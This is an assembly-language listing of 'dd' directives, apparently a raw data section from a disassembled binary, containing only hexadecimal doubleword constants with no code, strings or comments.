dd 19D827EBh, 0B4C7EC07h, 2330BCB7h, 0A831DBF7h, 7FD16574h
dd 0E0DA68EBh, 0B6C1174h, 54473Dh, 0E81F9EB6h, 0EC7194h
dd 0CEC3C690h, 743F194Ch, 87A3073Bh, 471A8B4Eh, 39FEB01h
dd 0CA438880h, 19D7646Fh, 8030E801h, 9C890508h, 3C5E8C40h
dd 7368CAFDh, 13215EC0h, 742E80FDh, 0B7FE6F3Ch, 33BC2D0Ch
dd 0E3D2080h, 1F525685h, 9502DA42h, 0F1979082h, 19A34C48h
dd 4EEA4FFCh, 7CE96948h, 60D7FE00h, 5D156DE6h, 598C1E79h
dd 7F064F7Eh, 0BF1E1B60h, 75196BE7h, 2748E253h, 0E9D9ECh
dd 74F2A946h, 397F561h, 0ACCC3900h, 63904425h, 8B95013Bh
dd 38D17D09h, 0A9F5C80Bh, 8E5B7A00h, 28B2944Ch, 0AFA800D7h
dd 0FEF23598h, 0C3077D06h, 9C5A7ED2h, 52302CA0h, 557212D3h
dd 206C1468h, 0D4A9281Ch, 67D9895h, 0CD757ECh, 7131707Bh
dd 8935085Dh, 0FB98840h, 14290158h, 42C8BAC3h, 1EB822D4h
dd 0C4058CE2h, 8E80F106h, 0E1F3D8h, 1D7FB01Fh, 0CB492621h
dd 8C001BE6h, 0BAF82335h, 38AFF48Fh, 6CC888C7h, 0C8CBE000h
dd 0D90A8678h, 5104FF13h, 81BEB40Dh, 4CE3F760h, 290165A9h
dd 9F1713D1h, 4C23EDh, 0B58A84CAh, 502FF522h, 1C0D1C74h
dd 8090F877h, 9442A731h, 0E8489A19h, 75F68130h, 28228AFBh
dd 941D2D22h, 0D4284D64h, 0F839A60Ah, 30A4F4C3h, 9B4674h
dd 5E5580DDh, 786AFFh, 0AC7C506h, 282306Eh, 4A56AE05h
dd 0C820E409h, 435582Ah, 1139CB5Dh, 444B7073h, 0DEF658h
dd 0C7F9D49Bh, 950C1FC1h, 0EC008898h, 0D56A2D7h, 1D16FD48h
dd 77CF88Fh, 9928C64Ch, 0A56B4010h, 0ECD42C00h, 0BC331AD5h
dd 8F0C1D3Fh, 6F5280DCh, 0F25A60D0h, 0F778CA07h, 6F7485h
dd 3E1EBE28h, 86A430A6h, 0CB0408B0h, 0EABA50C0h, 62A81Ah
dd 80B0A1A0h, 0D3CF36D2h, 60909F00h, 64F26F33h, 18A800FFh
dd 0ABBDC7E8h, 0B303E974h, 390806C5h, 95EED04Dh, 0FB7C1CD5h
dd 6FC940ACh, 0C206E303h, 0E45E3500h, 0D4C8ECBAh, 36540007h
dd 7D264E55h, 0F7B6F62Ah, 9B1CDC00h, 1EA43ACAh, 7AFCCEFh
dd 0F13F07h, 668C7654h, 0B9C36F00h, 9DCD6B62h, 412002Eh
dd 40C50758h, 99000696h, 54E79E33h, 7DB810Fh, 5FC6FEE2h
dd 0B8F82027h, 6C393BC5h, 169F014Ah, 608D2B0Fh, 0CDAE80CAh
dd 174057h, 0D59E91CBh, 68FB5D9Ch, 0FA0FF8E0h, 0A703A1h
dd 0FFCDFDE2h, 170C00A5h, 4D68B09h, 6100E35Ch, 921EFA2Ch
dd 1E50472Eh, 0C0C16DBAh, 14F3D94Eh, 0B500CDD2h, 91BFDFAEh
dd 768063h, 39FC7096h, 7B8D262Fh, 0CB5A3Bh, 13F45F5Ch
dd 0EE30AD0h, 0DC56229Dh, 42D1EFE0h, 691C061Bh, 0AF8078BBh
dd 858BE22Fh, 0BFEE007Dh, 0D62B67B6h, 0F3037415h, 4531FAB8h
dd 5759D0E1h, 6CCE00EEh, 94C601ADh, 96034115h, 5B0E3B7Dh
dd 0F27F90D7h, 9B5A1269h, 9A801F9h, 2539C8h, 3AD87A5Ch
dd 0FC800DCEh, 6FC6E59Ch, 470E8202h, 0FF3CBAh, 5B01AE2Fh
dd 0F5910064h, 0CBE54BC0h, 0B1271AB4h, 0E2BF09Ah, 0D3D4F90Ah
dd 0C4234100h, 9DE62B7Ch, 0F7F3CC00h, 0AD98DD60h, 15FEE4h
dd 8D7C68E7h, 0B36597BEh, 599F8400h, 5C745AD7h, 0E34900A8h
dd 900EA74Ah, 0AC0460ABh, 44D29913h, 4DFA81EAh, 1645F885h
dd 0D7B01A00h, 0F8C5728Ah, 5B5D00C8h, 231CD0F5h, 25007BCBh
dd 1F0A9A52h, 0AB2D59h, 0A76C793Bh, 0DB0604A8h, 2584F400h
dd 0CBA4531Eh, 0D0A3008Bh, 7930190Fh, 0B1239F6h, 7009ABCCh
dd 6280F532h, 80123BD1h, 4F4C3F1Ch, 494B3A00h, 0B838E44Eh
dd 0B60C00F2h, 0F2FBD514h, 0E3EEDF7Ah, 66DDA700h, 0A41A976Dh
dd 625800CFh, 94D8297Eh, 590E5BFBh, 0A080B464h, 501AA5EDh
dd 0BCC123Ah, 0F9E20EB1h, 0CF6C6901h, 0FA488088h, 43CC2656h
dd 189F00D4h, 0CE7AB753h, 470458A9h, 277FBDC0h, 0B90F3AC1h
dd 111DF8E7h, 5F653F4Eh, 148DAB80h, 0DF2F999Bh, 0B1007CE0h
dd 226A529h, 12493A5Bh, 109D25h, 17CA7657h, 507A1B0h, 0ADD13C0Dh
dd 6EDDD3C1h, 0CB42C4h, 0F6BE0E59h, 1CFF178h, 0A25A6503h
dd 0F8643A7Fh, 91CAE1h, 2C049A77h, 3FEB1B8Fh, 0D59648h
dd 0F22870E4h, 0B05011h, 0F58E410Eh, 3AE5B99Ah, 83F41D00h
dd 5F6F6AA4h, 889B0087h, 0B55DBF0Bh, 780FC252h, 0E2C8DF21h
dd 44B7637Eh, 4E1005Ch, 0B229B8B3h, 33005B70h, 8EBE209Fh
dd 91CD75h, 6A95B614h, 0FCCE05C5h, 0FAF2700h, 0A064BEFFh
dd 84E3009Eh, 2E2CF51Ah, 600289BBh, 98DBF291h, 0ACF66179h
dd 283EE4h, 0E5BA27D2h, 7EA44ACEh, 0A02DCB00h, 92ED1780h
dd 7A9A0176h, 0BF822F72h, 7ECE45Eh, 69D6A605h, 21C039DCh
dd 0F268A57Eh, 1BC6003Ah, 6B87D452h, 920188F2h, 0F3FF3906h
dd 0C76FED7Ch, 8C298086h, 0A05C33CEh, 0D6A81F4Ah, 6BC817C0h
dd 1557D38h, 5B0D068Eh, 61B4B835h, 3952EC47h, 0C83E6500h
dd 31046A13h, 0B6532636h, 17BD057Ah, 0CB5180AFh, 3C005190h
dd 7E02332Ah, 70BFBB3h, 44637B89h, 0A717305Eh, 9B7835D7h
dd 5BD15600h, 882192BBh, 1B9300FFh, 5F0F2CF1h, 2490A4DAh
dd 4A5A0702h, 0E0DB0E9Fh, 1227EEF8h, 0D52405h, 0A41F5E4Dh
dd 56001A46h, 0C24B2D3Eh, 29A104h, 28B07E3Dh, 55835289h
dd 80767438h, 6F3C273Ah, 3F1B370Fh, 0A2814075h, 6C9D0487h
dd 8995DC5Bh, 0D4071D01h, 9782FF71h, 8ADBFCh, 0F3DF267h
dd 0CE426F68h, 0B2314007h, 8E50ACB8h, 0DFD898h, 0E8ABDEC2h
dd 0C4610E92h, 99A3A802h, 0C3CA0156h, 0B9BEC0D2h, 0F86D00C9h
dd 228B54F5h, 0CC7D7367h, 811F83E8h, 2F80CF2Ch, 8528411h
dd 0E44314EEh
dd 3C01C7B6h, 15B9C067h, 1236F009h, 63BC0C00h, 0C3D36B37h
dd 3BD200E5h, 8FA67708h, 430E4C51h, 40F604F4h, 2BB88CD3h
dd 2146007Bh, 0CBED0FAh, 0B11D0AE3h, 0EA003F15h, 847E2B5Dh
dd 796B0083h, 724686F7h, 0BB001E73h, 0B3DCCC21h, 0E515681h
dd 0AED9CB71h, 6896940h, 0D800FF79h, 294F1F3Ah, 91DECC4h
dd 9F7110BBh, 2F858400h, 83E04A7Fh, 43859750h, 5907DA71h
dd 0E15C5BC2h, 0F3CEAB80h, 0C88D07A7h, 7031FE45h, 0E32BB4C5h
dd 720CDF01h, 16C6DDCh, 333A20h, 953DED0Eh, 0D44BE366h
dd 0AE75E20Eh, 2A003C9Eh, 52EE626Dh, 10711DD1h, 84940C25h
dd 430FDA21h, 0A18E63B3h, 52FDF3D3h, 18D7DEDCh, 50CD6ABAh
dd 6DFC299Fh, 0F91AC1C0h, 0BA4479h, 0CE57AE23h, 88E0AB0Ch
dd 0A80AB200h, 736EF2B1h, 81690087h, 0AE18CA43h, 96603148h
dd 4CF3C6A1h, 14340F64h, 80C9B385h, 2928F50Ch, 0C3F0AC06h
dd 18716061h, 898065B0h, 5314F667h, 0E254E5D1h, 74E8141Bh
dd 48D5D300h, 1CE49112h, 1DA00021h, 1F98B331h, 3900B24Ch
dd 0E70EB7D7h, 1EC5B9FCh, 442F44D8h, 0C0144713h, 0B4B00360h
dd 0A636F100h, 0B1487F12h, 0E6BE809h, 0C49EA22Eh, 440A8540h
dd 54006704h, 28FA892Fh, 0F05307EBh, 6EF000E3h, 9D4584AEh
dd 920077AFh, 0D3E6A3B2h, 0C79524Bh, 0E0A063D2h, 0B148DD9Eh
dd 786B8018h, 3AC3B5Eh, 3C9BAE8Ah, 2BA0AFE8h, 0E3009F87h
dd 4C6A8E74h, 0F42730Ch, 574FB321h, 40B4B985h, 5FBC9FB8h
dd 0DA390386h, 5BE08B6Ah, 0A90781E7h, 1440673Dh, 44B3FFh
dd 9BB13461h, 15BEFC35h, 0AA0075EEh, 0A1904BE0h, 3B1C7939h
dd 7280FF2Dh, 9EA8EEBBh, 5115DE2Ch, 0BC9CE240h, 948C3B08h
dd 18901Fh, 12AE2CA1h, 0D13BE243h, 384280EEh, 5D4F7026h
dd 463603C8h, 0C1371907h, 6E6204F0h, 9F004D79h, 85BB5DC6h
dd 72ACCA5h, 4B874864h, 0B4F2803Ah, 0D400CB9Dh, 0C320D87Ch
dd 0E078B932h, 39050002h, 74AFF804h, 400047F4h, 0B4E168A9h
dd 7F7D8D5Ah, 708E215h, 0EFC39EB1h, 86AA30BCh, 27F20A4Dh
dd 0D43DF800h, 0FC224964h, 526D00B1h, 0AA5A3CD5h, 0A900EB42h
dd 603AF82Ah, 0E64266Bh, 0F189CC4Ch, 0AD0644A1h, 1D9CC23h
dd 1D0558h, 9BD07BECh, 0E1C1BDh, 0E8CCBB29h, 0ED213944h
dd 8312A82Ch, 0F8C3300h, 786F1DCAh, 0CE5C007Ch, 89C5ACE4h
dd 3003D625h, 2B2452BFh, 0E5E6F82Ah, 0A9F90058h, 1E4E0935h
dd 550092FCh, 0A41CAD2Dh, 0F6121Fh, 0CBA961F7h, 0BFE7C4C1h
dd 0DCFA2900h, 87BC9820h, 7F7FA0h, 0E2BDCC50h, 999FED6Fh
dd 0C806EE03h, 0A020B785h, 589571h, 0D6B9DAEFh, 57362AEBh
dd 62D73300h, 133C5DE7h, 0F1A001F8h, 88A5EC44h, 0F2EE4DFh
dd 8A76351Eh, 621DAE00h, 0C4AC11h, 0A1A7A827h, 0A944E5DBh
dd 0C0257507h, 40DC7B8Ah, 6ABB0E2Ah, 0D180BD5Eh, 0EDA299A5h
dd 0B437CB00h, 0DA583470h, 0F1B90007h, 0AAA9FD31h, 0A5030182h
dd 5E2A027Bh, 9C88007Ah, 51A36576h, 453CB4DCh, 10E7005Ah
dd 53C066D7h, 0DEFA1CA9h, 0B7BB0091h, 1A9B1EBFh, 0D8CEED00h
dd 97A811BAh, 4E2D006Ch, 969395A0h, 5100B04Ah, 72C803AAh
dd 723269E8h, 71562EF6h, 2E2B00F3h, 39B4A019h, 313B4EF8h
dd 612C00D8h, 34922F12h, 3BD5007Fh, 3C0F5E1h, 0BE481146h
dd 0B2F20068h, 0FAA458EBh, 7C1A00EAh, 27744BDBh, 5F003682h
dd 655DE8E9h, 12A00Dh, 20C3F529h, 529E15E3h, 0B7B04200h
dd 4BE5884Ch, 62D3001Eh, 2858D547h, 2C00A44Eh, 66B391F2h
dd 0E93D8A95h, 0FE11A03Ah, 0D07F03E2h, 42309200h, 812A982Eh
dd 0D24300FDh, 86AE3C17h, 1A01E913h, 7A8A1B9h, 7560C977h
dd 503500FCh, 906E3F0h, 710060D7h, 0C9CE201Ah, 5918E5h
dd 8E6BF62Ch, 8558EEEBh, 0CA9F4D00h, 756AB012h, 0C784024Eh
dd 0B62F1B24h, 86E74160h, 0D680A303h, 0A04DAB59h, 0BBDD9Ah
dd 3B60D55Eh, 791F4107h, 1800437Bh, 4DED4687h, 0FE612E68h
dd 561400D1h, 0D7766EE1h, 3C003D1Fh, 0C3AEFE96h, 26081D39h
dd 0E15F304h, 792017CFh, 0C6F7725h, 800AC839h, 40A3DF6Bh
dd 9E6714h, 0EC86FB02h, 0C41FB403h, 88C22201h, 4E43F0D8h
dd 1CA750ECh, 38F1C13Bh, 0EA13DA00h, 0E1C3E73Dh, 0AF6A10Eh
dd 0E7838E8Eh, 6EE05C4Fh, 0FF576F9h, 0ACEB9CD8h, 0E95B409Dh
dd 8299C5E2h, 97D4C200h, 0BBDEB98Bh, 703600C3h, 0F493A7FEh
dd 640E597Ch, 0E01BFF35h, 159EC565h, 86FC3BB8h, 0EA62C880h
dd 0A1806A4Ch, 45009474h, 0E30A0464h, 0FE653F38h, 0EF4D00D1h
dd 701BF6BDh, 6F008829h, 0CF948E46h, 7586AFh, 649BF11Eh
dd 950AAA07h, 8365413Dh, 0FFB7090Ch, 7DBE00F3h, 17B88451h
dd 0DB00C8E1h, 1FD54303h, 1F3862F1h, 9C6BBD23h, 7211C069h
dd 0E09C49D0h, 9D56A71Ch, 8E87A442h, 78FA61F8h, 0ECC83FFDh
dd 0DA6B008Bh, 0C50B5494h, 64005695h, 0E46C59CCh, 0D4749h
dd 0A168C4D4h, 7DDB5DD1h, 80001CFAh, 16A4F222h, 2DB4ADh
dd 0B76201CFh, 1DD22376h, 5C6AC001h, 6D737A22h, 568050BAh
dd 246CE2E3h, 89070981h, 3A26D314h, 85842A0h, 0AEC03F3h
dd 0F954BA71h, 72529AF0h, 26703806h, 3891FAh, 2112EB1h
dd 0A8ADE086h, 629A8A00h, 8CF359B4h, 0C7FB724Dh, 71A481C8h
dd 0C07C97F8h, 30FEA82Eh, 40001377h, 880BACDDh, 0E41AE8h
dd 74EF3B0Ch, 0E5EEC060h, 0E372D200h, 1CBD5597h, 52F800F5h
dd 0E91829C3h, 4100F660h, 0E8BFA79h, 0C8E2ABh, 1519F9A7h
dd 0DE57406Fh, 80518F39h, 76B22747h, 0B3DF37h, 14A9EA12h
dd 34B758Ch, 0CF0F06EEh, 0A0C5FBA7h, 0B58EF38h, 576184Eh
dd 9A8785Dh, 0A99CF130h, 2CB582D8h, 0FE0118Ah, 0C3A7703Eh
dd 0EAC6F023h, 36016A0Ah, 8B9BBF25h, 4881468Dh, 0B4903161h
dd 0EFFEFC1Ch, 6F3CB3F4h, 803D3C5Ah, 8857C8DFh, 5EDABACAh
dd 0FA0FCCDh, 20245372h, 0D8FC6ABCh, 18E05Eh, 0B848743Fh
dd 0CFEE6949h, 0B0E9B0A8h, 473C0376h, 3FC22C6Eh, 94878300h
dd 3E3CFCh, 25FDA7E1h, 0D901BEE7h, 0F2A88400h, 0DCFF3A0h
dd 8EB80E43h, 8B209932h, 11E7BDF0h, 0BE6E4407h, 46906F4Eh
dd 0A3F20Dh, 0D3CB219Bh, 9D1A93E0h, 15DBCA0Eh, 0AC9533h
dd 609438C1h, 7D61EBh, 586932C0h, 75B0FCB2h, 0E00F6F6h
dd 838D6ED6h, 5C0CAD09h, 4E00D015h, 72FCAE7Bh, 24006948h
dd 88C5E3E1h, 0EE9573Eh, 4F734E4Bh, 441ACDA0h, 0B40FEA21h
dd 1D4D780h, 2BBEF40Bh, 712AF8h, 7AB891C0h, 4F145882h
dd 860D2D00h, 0A446DE60h, 0E77F24h, 0ECFD2E7Ch, 88C9370Bh
dd 8AF6FA7Eh, 0F9E93B00h, 622E54FBh, 0FE7603AEh, 2463BD50h
dd 1F5D43B0h, 282FB400h, 70956121h, 52C80758h, 87DED0F4h
dd 87E4F0CBh, 3004D84h, 90E9C47Bh, 7F5A20h, 10DEA883h
dd 3F1135A1h, 0F047DB2Dh, 0F8E20046h, 0F418DCE8h, 39906FA5h
dd 9BE56500h, 98CDD05h, 0C41E12D0h, 0DC26003Dh, 50EADF15h
dd 3F4891Ch, 0BB8023DEh, 0DB4A1659h, 57D90086h, 4797B8DAh
dd 0E2245D76h, 38DF68h, 0E50780Dh, 80D626h, 0FC6BAE1Dh
dd 0C37F3DFh, 66ABE700h, 0E3878D67h, 623E2484h, 0BA9200C3h
dd 8FE8595Bh, 215E9903h, 0AD9FC378h, 0E7D2F607h, 49101BB7h
dd 9B42E6h, 0F59A65D9h, 0F997A528h, 0CDA9D400h, 1674DB78h
dd 9A21D81h, 4ECFC031h, 52287708h, 9AD85D13h, 37FB00EBh
dd 0A21E0F09h, 0D904A9F4h
dd 5F8D4188h, 0EB516FC0h, 93790030h, 0F4EA2653h, 4000E6FEh
dd 0BEB66786h, 1EFD55D9h, 0C098A349h, 0F0EC7DB9h, 9100174Eh
dd 6450C83Dh, 0A6BD25h, 21B78348h, 0D7AC3E35h, 0D5AB4102h
dd 405D65F3h, 0FCEDBE6h, 0BB699A3Ch, 38957E0h, 1F73AD27h
dd 15347600h, 0D5C12BD6h, 65AA0056h, 432CDCB1h, 1000EC39h
dd 62A0EB13h, 0AC6BB2h, 3180307Ah, 0CA6DF9D4h, 4752F501h
dd 0FAB082FDh, 8DDC56C9h, 107E609Fh, 0FB811520h, 31642200h
dd 99D7BC24h, 0A05F603Ch, 270B4F55h, 18B38A1Ch, 79323001h
dd 74F0523Fh, 6824001Bh, 0A88BADFBh, 0E20FA616h, 603CE515h
dd 44194EBBh, 95A200E9h, 83028742h, 642817FBh, 0E2183434h
dd 0B831E6CCh, 2457893h, 26441C81h, 14831B57h, 7CB8FBDAh
dd 23008A63h, 57C2F1C8h, 0E11113h, 0F26F5C0Ah, 0B33DF9B9h
dd 8DB79300h, 463DD39h, 32B5001Dh, 0B246C07Ch, 7A0070BFh
dd 946911F9h, 0FEB1513Dh, 3738003Ch, 0BAB0EE88h, 12F8EDC0h
dd 8453CA00h, 739DB7D9h, 7FAE00D4h, 0A77D5C3h, 5D72B313h
dd 539AEA00h, 0FDCAC133h, 2C71C3Eh, 0E24980F3h, 2A4B9701h
dd 5A5D4A00h, 0B7E8D337h, 1979034Fh, 5B7D7B34h, 0E6FC1B88h
dd 96D8020Fh, 88C2067h, 0C0BBBFC7h, 154A89F8h, 9800FAA3h
dd 0EDE2A5F6h, 5CBEA604h, 0D600859Eh, 5CC28E2Ah, 3300E339h
dd 9C3B4AF8h, 78F1DDD4h, 705E00A9h, 4E9DA41Ah, 90757B1h
dd 9851D0D3h, 0D179E380h, 0A27C01C3h, 0D833B94h, 800BD1CBh
dd 0B5A31C21h, 0F40117h, 49338DB0h, 4B85F1D7h, 0E670581Bh
dd 0AE582329h, 0E2BCB00Eh, 19CB4B2Dh, 164311C4h, 6050FCFCh
dd 0D1F4669Ah, 0B10F2C39h, 5346157Dh, 0F7351000h, 3779850h
dd 286F79EAh, 559299F1h, 0BB45A840h, 94C17F0Fh, 0EADDE027h
dd 579B35h, 2D47E8Fh, 8E917071h, 21AB3300h, 369AFD5Ch
dd 0BC7D1FBDh, 6ED7C8h, 76940B4Ch, 700A83Fh, 3ADAA5FBh
dd 72455390h, 2C700011h, 0A68993A2h, 0E5B8F75Ch, 0BCD53F00h
dd 4697BD96h, 0AB4C0048h, 21F35727h, 4890E192h, 1A74F000h
dd 49109CACh, 440B00AAh, 6F63F480h, 8E988BC5h, 0FFC2000h
dd 8EC2427Ch, 484CFCB4h, 93001484h, 0BBF19104h, 0B10706E4h
dd 5CD76B4Fh, 9900D435h, 0E6B58936h, 843C3F74h, 0E8E19E07h
dd 0E580DBF3h, 369DDA18h, 3FE5873Fh, 70F00F9Fh, 6446DF28h
dd 503326h, 0F9D954D8h, 0E2605708h, 0E0691760h, 3AA20D14h
dd 7A0F8EB4h, 48582D9Bh, 71001223h, 0D6E861C7h, 13FC3F7h
dd 0BFFE2A51h, 0E086559Ch, 8F00D504h, 17197164h, 0F92659Ah
dd 81DDCBB1h, 4F97CC81h, 1F68809Bh, 0A19D2FD1h, 98070090h
dd 9E46386Ch, 93012843h, 0DBA65EA8h, 0C39B92h, 3BC0E981h
dd 5083CEC8h, 0AB00B9E2h, 0F27B7CA7h, 0AF5E52h, 9A59D91Ah
dd 921C2F25h, 779F68C0h, 3823A346h, 0B480CDAFh, 5E481091h
dd 6300418Fh, 7BE3EAF2h, 3AD58117h, 0CB9F1D54h, 964A4EDFh
dd 0F0D8E741h, 39FAC335h, 0DA3B840h, 6015F300h, 0DD95BB92h
dd 1FF71896h, 80A250BFh, 0A89A818h, 0F6128E30h, 2EA46h
dd 0F797087Dh, 6FC72EC9h, 55B69203h, 9FBE720Bh, 0BBEA7021h
dd 0F8D80C40h, 3B6C1612h, 5BAD0E7Ch, 44D58280h, 55019356h
dd 0AF80D49Eh, 0B57053E3h, 1EB307E1h, 8174D2CCh, 0CC7EE60Ah
dd 50016123h, 8DAC1456h, 1520ED1Dh, 0E4AE1ED9h, 819BC086h
dd 0CA5E1016h, 51ECFB0Fh, 308BC09Dh, 50F917E5h, 5D903Ch
dd 45742D6Bh, 3FE7140Dh, 0EEA89CA3h, 1807B844h, 0AE667202h
dd 0D8C14720h, 0CA22034Fh, 0F399C283h, 76D54EC0h, 0ECA17500h
dd 0C49DDE70h, 0DAF14A4h, 2A8F040Eh, 0F160B02h, 8B40CBDh
dd 0CAF43069h, 25C73FD1h, 90B11800h, 0FEDBFC8Ah, 0D0C4B98h
dd 18191DA4h, 0DC4A22C6h, 8961E21h, 94A4B22h, 5A280C20h
dd 32124FFh, 0C561597h, 2118EA2Ah, 608FDEEh, 4B6A4055h
dd 0CAB008AAh, 29A46300h, 8D9A7FADh, 4E0CA0DEh, 0C92844A2h
dd 21A99022h, 450AA10Dh, 88151899h, 0C412A24h, 18A3E728h
dd 0E969D20h, 1954AB8Eh, 0DCE43820h, 933EA1F5h, 324E0C03h
dd 4771806h, 0F0B1DA27h, 3C2D83DFh, 7DE0EE83h, 32008C17h
dd 0DA8606E0h, 0F0A9016Fh, 3880F9A7h, 0B4DED5B8h, 9FF062B3h
dd 8095E400h, 6507719Eh, 5B7C00D0h, 0CA2B2A0Ch, 0F20F9FF3h
dd 80FDDAB7h, 0BDA37E35h, 62671C01h, 6A1F013Bh, 0E01A187Ah
dd 0C7018ADCh, 0B6DD166Ch, 0EB71D32Fh, 19534C0Ch, 880CB430h
dd 0E3D9E0F2h, 0D5705F00h, 0B7A398F6h, 0E59500ACh, 0E0E94E5Ch
dd 0E200C5D9h, 0B0051C70h, 5B11CFh, 926C0C60h, 0B81235C9h
dd 0D8B87674h, 86DBE8FBh, 83081CA5h, 0E4CB788Dh, 0E5FFBD00h
dd 658EA37Bh, 46CE029Fh, 0C495925Ch, 0F11DC095h, 0ED8900A0h
dd 75EBBD5Dh, 57B0529Dh, 13BE088h, 0DF0A40Ch, 6228A5h
dd 9CF5DE94h, 34F197E8h, 3BECBA74h, 5E5C4CF9h, 0E9A13F00h
dd 6A2AB4FBh, 0E7F07BAh, 3340F415h, 41B81269h, 0F00D7C9h
dd 2A4E6149h, 233649Dh, 0A62C0A85h, 0BC813B80h, 0D447A219h
dd 0BF247832h, 9E871008h, 0DAF1158Eh, 2983380Fh, 0B3376DA6h
dd 8C0A70F8h, 0B121FFF3h, 603AF0C4h, 1788698Dh, 0BDBC584Ch
dd 2327E600h, 0A777E59Bh, 0E9DD0A1Bh, 8EC82474h, 8F8103FDh
dd 9E2B9EC0h, 4171D238h, 0E3E0F030h, 7C671B3Bh, 56A03118h
dd 5300374Fh, 49C986C4h, 49B42A6h, 15AF1E76h, 7E749804h
dd 20A71743h, 0C52B6650h, 80B0FB3Eh, 2EFEBDEBh, 0CFC77B36h
dd 0A7E0B8D0h, 0A6B7325Fh, 5038C806h, 7A402A5Ch, 0BB2C050Ch
dd 470884B8h, 60443180h, 747F66B1h, 1CA42F14h, 9862AFACh
dd 0EEE0C06Dh, 84A168DEh, 0C4942262h, 0D48ABA3Ch, 1860820Ah
dd 30095544h, 7E9827E9h, 40C927A2h, 91961D40h, 808767E8h
dd 0F057DDE8h, 0FC228A00h, 0A4A23ACh, 48EE213Fh, 24AB65F0h
dd 58DCD80Fh, 2B00BD11h, 976A025Ah, 7C20C9ACh, 0A574EEF1h
dd 7FA60084h, 42BC5F6Ch, 624C6400h, 5B13AB68h, 0F52500DAh
dd 9D2CA79Eh, 7E3A21EBh, 0D4B2830Eh, 9058C049h, 16F3C607h
dd 0F1C511D3h, 7D808021h, 0FA646273h, 0DAE30A0Ah, 0AD8917Ch
dd 8D04626h, 0D54008D9h, 4C955C87h, 8F2E8019h, 64C83BAAh
dd 0F88309AEh, 29089826h, 0AE053915h, 796C3F80h, 681A392Bh
dd 40DEDB07h, 0BC20F651h, 9101A7BEh, 86035C0Ch, 89843B5Ch
dd 41A988E0h, 492E4h, 0DEB5B99Ah, 157D307Fh, 0BCFC1052h
dd 0CB3F015Bh, 0D5BC684Fh, 0F490FE66h, 9F025D9Bh, 83975904h
dd 69809626h, 28BF08CBh, 0E08BB905h, 9044E88Fh, 0F1C33A12h
dd 0FE1BC08Dh, 8581E220h, 98DA13C9h, 0E4202211h, 14CB882Bh
dd 0C8B1CA11h, 0F7A7A31h, 52118119h, 0DBF0BF83h, 676F4200h
dd 2F6878CBh, 0F52EE1FCh, 7474946Dh, 78FE9864h, 40E549FAh
dd 1BEF602h, 0A4AB977Fh, 0D131C00h, 0B40BE0FDh, 6FC844Eh
dd 20489194h, 9C809373h, 8539D7D3h, 8058BD77h, 1BFA4E06h
dd 78509B2Fh, 0ED020014h, 0D4817BA2h, 0C6009523h, 0AAD39720h
dd 12ACC0Fh, 6A12482h, 3A09754Dh, 634FDEC0h, 0D9CA00E9h
dd 61BA46B3h, 7307AB34h, 0DCA57A30h, 0BE1C0170h, 5838C050h
dd 410B3304h, 4E38951Eh, 5EAF8500h, 639347h, 9F01902Eh
dd 8B4114Ch, 0CC5AD400h, 1D750F30h, 5BE8307Ah, 94704DB8h
dd 140696Fh, 0D5826357h, 5C23319Eh, 65BB004Fh, 0BD0CA695h
dd 14DAD100h, 0A1FE2D51h
dd 7128C06Dh, 7B633FD3h, 9D554301h, 8695A350h, 0E89A3188h
dd 18A50C78h, 600BBFE0h, 20C8366h, 380DFAC8h, 4EB5215Ah
dd 0BB9BE6C0h, 0A27500E0h, 45DA4695h, 0CD045AC8h, 0B31AD1B8h
dd 0F33BAB3Ch, 299481A8h, 0FFD92313h, 0B8DBA08Ah, 694FD06Ch
dd 9962087Eh, 9B840338h, 9B0CC010h, 0C8BD6240h, 1A02A6E6h
dd 2448B6D1h, 18440F8Dh, 0C3C638BAh, 7CC75329h, 0EA1D52E0h
dd 0C8185478h, 698A92Ch, 183F605Bh, 0B49B3895h, 10A08614h
dd 0CD6594CEh, 66F44218h, 0DCBCB8CBh, 7682D20Ah, 438CA44Ch
dd 419A88FCh, 5600FEDh, 0BE0C6657h, 2695ECC0h, 0C8030A42h
dd 6714767Ah, 0A00AE2F5h, 43068CA3h, 0C1A42846h, 0C13B765h
dd 38E6C180h, 7EB05E2Bh, 54977600h, 307A12F3h, 0E5F80023h
dd 0AE3F60D9h, 0A077C33h, 0B67BBC2Fh, 7AD63020h, 0B890185Dh
dd 775F10A2h, 843B20A5h, 43C4032Ah, 0F1041C00h, 3C05BEF7h
dd 61F07BA4h, 8961C2Ch, 5806ED0Eh, 0A53E7C02h, 0F549E7Bh
dd 0C99DCEE1h, 22DC0E50h, 0EFD0CE34h, 819046C0h, 2A7021E8h
dd 9E8A01EFh, 3C0059E2h, 7A0E7DDFh, 86C19850h, 1F496CB0h
dd 1A7C4B1Ah, 7C1E509Eh, 2F4B151Eh, 9C0F5710h, 7EA6B2C8h
dd 7C8738B1h, 0BDEA4F81h, 4080D698h, 7C49A3FCh, 9C66530h
dd 3180169Fh, 5B48191Dh, 3E05E6Ah, 9ECEBEE1h, 5C5001D7h
dd 0D05E6C09h, 700880EFh, 505D5541h, 37267CB3h, 0C0683F10h
dd 0BEFA0168h, 807B6E28h, 0DCF29E28h, 8F33031h, 209103C5h
dd 6A4B1502h, 612EE0B0h, 565D203Fh, 6F64BC00h, 4836905Eh
dd 0EBD0317Ch, 0BE22B078h, 92933E0h, 7F19006Bh, 5D707A79h
dd 101D7BF4h, 501EF59Fh, 0CE4310F7h, 0EE70E018h, 0BEF819B5h
dd 41C309A6h, 8CEA3EBCh, 0B04F7030h, 492D6630h, 9E2A20BDh
dd 0AB48D0BBh, 5AF00C1Ch, 0C710837h, 1D7079CEh, 18DE6D21h
dd 48F2FC1Fh, 50B6C0DBh, 8F09CD92h, 0D03AF1A8h, 3B3A4DE5h
dd 0B0AD0F65h, 81CD0966h, 16F632Eh, 0DAAF0884h, 989BC09Ah
dd 6D19E52Ch, 0EE302D61h, 2FC8098Fh, 2C82ED82h, 0E8734101h
dd 2087F1F1h, 8269E68Dh, 4D035D6Dh, 0AD08112Eh, 4946306Ah
dd 0F8EAD0D9h, 0C66306A0h, 18BFFE0Ah, 8400EC7Fh, 6A29FDB5h
dd 0B41AD5h, 5BB371CEh, 0B77BEDE9h, 13ADE70Ch, 66921059h
dd 50CA7862h, 0CA021AF1h, 0F0125FCDh, 81C91101h, 7051D0FBh
dd 468D30EBh, 5AA4AD08h, 1933E978h, 78346058h, 70226308h
dd 80F0BCDh, 834582ADh, 0E142F90Dh, 1886464Dh, 1044AE8Dh
dd 6D3040h, 6F656C54h, 2DEAD1E1h, 0C350A152h, 0C0061E83h
